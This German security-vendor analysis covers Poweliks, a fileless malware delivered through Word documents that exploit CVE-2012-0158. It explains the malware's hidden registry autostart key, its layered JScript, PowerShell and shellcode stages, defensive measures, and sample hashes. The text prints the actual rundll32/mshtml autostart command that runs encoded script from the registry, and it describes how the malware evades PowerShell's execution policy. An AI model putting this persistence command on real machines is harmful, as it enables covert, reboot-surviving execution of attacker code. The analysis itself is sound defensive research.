Wenn Sicherheitsexperten von Malware sprechen, geht es in der Regel um Dateien, die auf einem Computer gespeichert sind. Ihr Zweck ist es, das betreffende Gerät zu beschädigen oder vertrauliche Daten auszuspähen, die auf dem Gerät gespeichert sind. Solche Dateien können von Virenscannern gescannt und auf herkömmliche Weise behandelt werden. Die folgende Analyse beschäftigt sich mit einem Beispiel für Malware, die sich nur in der Registry befindet, die hartnäckig ist und nicht als Datei vorliegt, welche einfach gescannt werden kann.
Wenn Sicherheitsexperten von Malware sprechen, geht es in der Regel um Dateien, die auf einem Computer gespeichert sind. Ihr Zweck ist es, das betreffende Gerät zu beschädigen oder vertrauliche Daten auszuspähen, die auf dem Gerät gespeichert sind. Solche Dateien können von Virenscannern gescannt und auf herkömmliche Weise behandelt werden. Die folgende Analyse beschäftigt sich mit einem Beispiel für Malware, die sich nur in der Registry befindet, die hartnäckig ist und nicht als Datei vorliegt, welche einfach gescannt werden kann.
Dieser Technik wird selten Aufmerksamkeit geschenkt. Die Ausgangsdatei, die alle bösartigen Aktivitäten auf dem Computer startet, enthält den gesamten Angriffscode in verschlüsselter, verborgener Form. Er wartet darauf, aufgerufen und ausgeführt zu werden. Um die schädliche Wirkung zu entfalten, arbeiten die Angreifer den Code Schritt für Schritt tiefer ab. Die sequentielle Ausführung dieser Schritte erinnert an das Stapelprinzip russischer Matrjoschka-Puppen:
Dank diesem Konzept sind Angreifer in der Lage, klassische Scan-Techniken zur Erkennung von Malware-Dateien zu umgehen. So können sie in der Lage, beliebige gewünschte Aktionen ausführen, wenn sie die „innerste Schicht der Matrjoschka-Puppe“ erreicht haben – selbst nach einem Neustart des Systems!
Um derartige Angriffe zu verhindern, müssen Virenschutzlösungen entweder die Datei (das ursprüngliche Word-Dokument) abfangen, bevor dieses ausgeführt wird (falls ein solches Dokument vorhanden ist), am besten gleich vor dessen Eintreffen im E-Mail-Posteingang des Kunden. Alternativ dazu muss in der nächsten Verteidigungslinie der Software-Exploit nach dem Ausführen der Datei erkannt werden, oder die Registry-Überwachung muss als letzten Schritt ungewöhnliches Verhalten erkennen, die entsprechenden Prozesse blockieren und den Benutzer alarmieren.
Die G DATA SecurityLabs haben hartnäckige Malware analysiert, die sich nur in der Registry befindet und daher keine Datei auf dem infizierten System erstellt. Ein Überblick über diesen Mechanismus wurde erst vor kurzem im Forum KernelMode.info vorgestellt. Das analysierte Muster wird über ein Microsoft Word-Dokument verbreitet, das die in CVE-2012-0158 beschriebene Sicherheitslücke ausnutzt. Das Dokument soll als Anhang gefälschter E-Mails versendet worden sein, die vorgeblich von der kanadischen bzw. US-amerikanischen Post stammen und Informationen zu bestellten Artikeln für den Empfänger der Spam-Mail enthalten sollen.
Damit die Malware bei jedem Systemstart startet, muss sie einen Autostart-Eintrag erzeugen. In diesem Fall erstellt die Malware den folgenden Registrierungsschlüssel:
Beachten Sie, dass das für den Namen des Schlüssels verwendete Zeichen kein ASCII-Zeichen ist. Wir werden später noch auf diese Tatsache eingehen. Der erwähnte Eintrag enthält Folgendes:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";
document.write("<script language=jscript.encode>"+
(new ActiveXObject("WScript.Shell")).
RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+
"</script>")
Der Zweck dieses Befehls ist es, den codierten Inhalt des Schlüssels (das Tag „JScript.Encode“ zeigt die Codierung an) zu öffnen und auszuführen: \\HKCU\software\microsoft\windows\currentversion\run\(default)
Wie bereits erwähnt besteht der Name des Registrierungsschlüssels zum Starten der Malware nicht aus einem ASCII-Zeichen. Dadurch soll der Eintrag vor Systemtools verborgen werden. Der folgende Screenshot zeigt den Inhalt des Registrierungsschlüssels, wenn dieser mit dem gängigen Windows-Tool regedit geöffnet wird:
Regedit kann das Zeichen nicht lesen, da es kein ASCII-Zeichen ist. Folglich kann der Schlüssel nicht geöffnet werden, wie die Fehlermeldung anzeigt. Darüber hinaus kann auch der Benutzer den Schlüssel nicht anzeigen.
Der Entwickler verwendet eine Technik, die dem Stapelprinzip der russischen Matrjoschka-Puppen ähnelt: In den anfangs genutzten Code ist weiterer Code eingebettet, der dann ausgeführt wird. Dieser Code führt dazu, dass weiterer Code verwendet wird, und so weiter und so fort. Der anfangs ausgeführte Code ist JScript-Code und dann ein PowerShell-Skript, das schließlich Shellcode ausführt, welcher den Schadcode von Poweliks enthält.
Es überrascht nicht, dass der Inhalt des oben genannten, ausgeführten Registrierungsschlüssels codiert ist:
Diese Codierungstechnik wurde ursprünglich von Microsoft entwickelt, um den Quellcode vor unbefugtem Kopieren und vor Manipulationen zu schützen. Allerdings hatte ein Sicherheitsexperte eine Möglichkeit gefunden, diese Art von Daten zu decodieren, die jetzt genutzt werden kann. Untersucht man den decodierten Schlüssel, können die folgenden Aufgaben festgestellt werden:
Nachdem der gespeicherte Code decodiert wurde, zeigt sich, dass es sich um ein PowerShell-Skript handelt. Das macht ganz klar und deutlich, warum die Malware diese Software im vorherigen Schritt gesucht bzw. installiert hat. Standardmäßig verfügt Microsoft Windows über einen Schutz, der die Ausführung unbekannter PowerShell-Skripts verhindert. Wenn wir versuchen, ein PowerShell-Skript auszuführen, wird die folgende Fehlermeldung angezeigt:
PS C:\Users\User> .\script.ps1
Die Datei "script.ps1" kann nicht geladen werden, da die Ausführung von Skripts auf diesem System deaktiviert ist.
Die Angreifer umgehen diese Einschränkung, indem sie Windows glauben machen, dass das Skript im interaktiven Modus von PowerShell ausgeführt wird. Daher kann das Skript ohne Benachrichtigung des Benutzers ausgeführt werden.
Das PowerShell-Skript weist die Variable $P auf, die den mit Base64 codierten Shellcode enthält. Dieser Code nutzt VirtualProtect(), um die Ausführung des Codes im Speicher zu ermöglichen, sowie CallWindowProcA(), um den Shellcode in $p auszuführen.
Der Shellcode führt mehrere Aktionen durch:
Werfen wir nun einen Blick auf die an Offset 0x1104 kopierten Daten:
Wir sehen hier eine Microsoft Windows-Binärdatei (beginnend mit MZ). Darüber hinaus sehen wir zwei weitere wichtige Strings: MPRESS1 und MPRESS2. Diese Strings werden von einem Packprogramm namens MPress hinzugefügt. Das Entpacken werden wir zum jetzigen Zeitpunkt jedoch nicht im Detail besprechen. Dieser letzte Payload, der gesamte MZ-Header, ist der eigentliche schädliche Teil; er stellt Verbindungen zu zwei IP-Adressen in Kasachstan her, um Befehle zu empfangen. Zum Zeitpunkt der Analyse dieses Falls waren die beiden IP-Adressen bereits offline. Deshalb konnten wir nicht feststellen, welche Angriffe die Urheber starten wollten.
Da die Malware sehr leistungsfähig ist und jeden beliebigen Payload herunterladen kann, kann das Ausmaß der möglichen Schäden nicht verlässlich bestimmt werden. Sie könnte beispielsweise auf dem infizierten Computer Spyware installieren, um persönliche Informationen oder Geschäftsdokumente abzugreifen. Sie könnte aber auch Banking-Trojaner installieren, um Geld zu stehlen, oder es könnte Schadsoftware anderer Art installiert werden, die den Angreifern von Nutzen ist. Expertenkollegen haben die Vermutung geäußert, dass Poweliks in Botnet-Strukturen verwendet wird, und dass damit durch Werbebetrug immense Einnahmen erzielt werden.
Die Analyse dieses Schadcodes war ungewöhnlich und ziemlich zeitaufwändig. Mehrschichtiger Code wurden erstellt, um den Analysten die Arbeit zu erschweren, und sicherlich auch, um die Malware zu verbergen und sie in die normale Systemnutzung einzustreuen, ohne dass der Benutzer die Infektion überhaupt bemerkt.
Poweliks ist Malware, die funktioniert, ohne dass irgendeine Datei erstellt wird. Dies ist eine ziemlich seltene, neue Malware-Spielart, die bisher kaum beachtet wird. Alles wird im Speicher ausgeführt. Sie befindet sich nur in der Registry und führt von dort aus Programme aus. Zudem verbargen die Entwickler den Autostart-Registry-Schlüssel, indem sie für den Schlüsselnamen ein Zeichen nutzten, das kein ASCII-Zeichen ist. Dieser Trick verhindert, dass viele Tools diesen bösartigen Eintrag überhaupt verarbeiten können. Er könnte Notfallteams eine Menge Ärger bei der Analyse bereiten. Mit dem Mechanismus können beliebige Programme auf dem infizierten System gestartet werden, und das macht ihn sehr gefährlich!
Office-Dokumente mit CVE-2012-0158:
74e0d21fe9edf7baf489e29697fff8bc4a6af811e6fe3027842fe96f6a00a2d9
88bc64e5717a856b01a04684c7e69114d309d52a885de9fc759e5a99ac20afd5
Das Poweliks-Installationsprogramm (erstellt die Registry-Schlüssel):
4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb
e8d6943742663401e5c44a5fa9cfdd8fad6a9a0dc0f886dc77c065a86c0e10aa